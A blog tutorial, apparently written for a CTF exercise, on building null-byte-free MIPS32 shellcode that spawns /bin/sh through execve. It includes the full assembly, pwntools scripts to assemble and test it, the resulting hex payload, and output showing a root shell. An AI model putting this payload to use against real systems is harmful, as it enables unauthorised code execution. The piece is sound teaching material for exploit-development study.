Introduction
Writing shellcode is an art, it is something that I really like to do, because it sparks your creativity and it is fun. So, following this post, which we had to exploit a MIPS32 binary, we will write our own shellcode and make the exploit used in the post a little bit simpler.
First things first, our shellcode is going to spawn /bin/sh
for us, thus, we need to execute the syscall execve
. As by this documentation, execve receives 3 parameters: The path to the program we want to execute, the arguments of the program and an array of environment variables. In fact, we’ll need only the first parameter and we can set the others as null. In MIPS architecture, the parameters to the syscall are passed in registers a0
to a5
, as our syscall just requires 3 parameters, we just need to fill a0
, a1
and a2
, summing up:
a0
: Path to/bin/sh
a1
: Nulla2
: Null
Let’s start codding.
Shellcoding
The /bin/sh
is 7 chars length, apart from that, the string must be null byte terminated. So, we have a total of 8 chars. However, the registers can hold 4 bytes each time, thus, we must split the string.
We’ll start by loading 0x2f2f6269
(//bi
) to the register t7
, we can do that by splitting into two instructions: lui
and ori
. We added one extra slash for padding purpose. This extra slash will cause no harm for our shellcode.
lui $t7, 0x2f2f
ori $t7, $t7, 0x6269
What lui
does is basically loading the highest 16 bits of a register with a constant, and clears the lowest 16 bits to 0s. Then, we use ori
to set the lower 16 bits.
Now, we can use the same trick to fill t6
with n/sh
. So, our next instructions are going to be:
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368
So far, so good. For now, our string is splitted between two registers: t7
and t6
. We will now move this string to the stack, then we can move pointer address to the register a0
. The instruction sw
will allow us to write the value of a register in the stack, the first parameter is the register we want to write, and the second parameter is the offset (relative to the register sp
). So, sw $t7, -12(sp)
it is like, take t7
value and write into sp addr - 12
.
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp)
Finally, we write 0
at sp - 4
to add a null byte termination to our string and we just need to move the pointer to a0
. This can be accomplished using the instruction addiu
. This instruction means Add immediate unsigned (no overflow)
, for the sake of simplicity, it is like, take the value X, sum with Y and store into Z (addiu Z, X, Y
), so, what the instruction below will do is, subtract 12 from sp
and store the value into a0
.
And here comes to easy part. We need to zero a1
and a2
. This can be easily done using the slti
instruction. Once again, for the sake of simplicity, this instruction means set on less than
, that is, check if value X is less than Y, if it is, set Z to 1, if it is not, set Z to 0 (slti Z, X, Y
). So, if we write slti a1, zero, -1
, it will write zero into a1
, because zero is higher than -1!
slti $a1, $zero, -1
slti $a2, $zero, -1
The syscall number goes into v0
, so we must set this register to the value of the syscall we want to execute. You can check this link and find out that execve is 4011. So, let’s set v0
to 4011 using the instruction li
:
Now, we just need to call the syscall
instruction. However, syscall
default opcode translates into \x00\x00\x00\x0c
. We want to avoid null bytes, by the time of writing this post, I don’t fully understand how the syscall
opcode works in MIPS, so, I took the same opcode from this post and, by trial and error changing the argument, I’ve got syscall 0x040405
, which translates into 0x4c010101, it is enough to bypass the null byte restriction.
Finally, we can use pwntools to compile the shellcode and return the hex code. But, before we can do that, we need to install the package binutils and, as I’m running an Ubuntu container in docker, I can install by apt-get:
Everything’s ready, it is time to run the script below and get the hex code of our shellcode.
from pwn import *
context.update(arch='mips', os='linux', bits=32, endian='big')
shellcode = asm('''
lui $t7, 0x2f2f
ori $t7, $t7,0x6269
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp)
addiu $a0, $sp, -12
slti $a1, $zero, -1
slti $a2, $zero, -1
li $v0, 4011
syscall 0x040405
''')
print(''.join([ '\\x%02x' % x for x in shellcode ]))
Save it as shellcode.py
and run to get the shellcode hex:
[email protected]:/ctf/pwn5# python3 shellcode.py
\x3c\x0f\x2f\x2f\x35\xef\x62\x69\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xaf\xff\xf4\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x4c
Now, you can test the shellcode using pwntools and installing the package libc6-mips-cross
, if you are running Ubuntu like me, you just need to call apt-get
:
So far, so good, save the script below as test-shellcode.py
.
from pwn import *
context.update(arch='mips', os='linux', bits=32, endian='big')
shellcode = asm('''
lui $t7, 0x2f2f
ori $t7, $t7,0x6269
lui $t6, 0x6e2f
ori $t6, $t6, 0x7368
sw $t7, -12($sp)
sw $t6, -8($sp)
sw $zero, -4($sp)
addiu $a0, $sp, -12
slti $a1, $zero, -1
slti $a2, $zero, -1
li $v0, 4011
syscall 0x040405
''')
filename = make_elf(shellcode, extract=False)
p = process(filename)
p.interactive()
Run it with python3 and cross your fingers.
[email protected]:/ctf/pwn5# python3 test-shellcode.py
[+] Starting program '/tmp/pwntools-asm-hodmq658/step3-elf': Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Final words
I hope you enjoy this small tutorial and learn something. Get in touch if you need assistance or just to do a comment.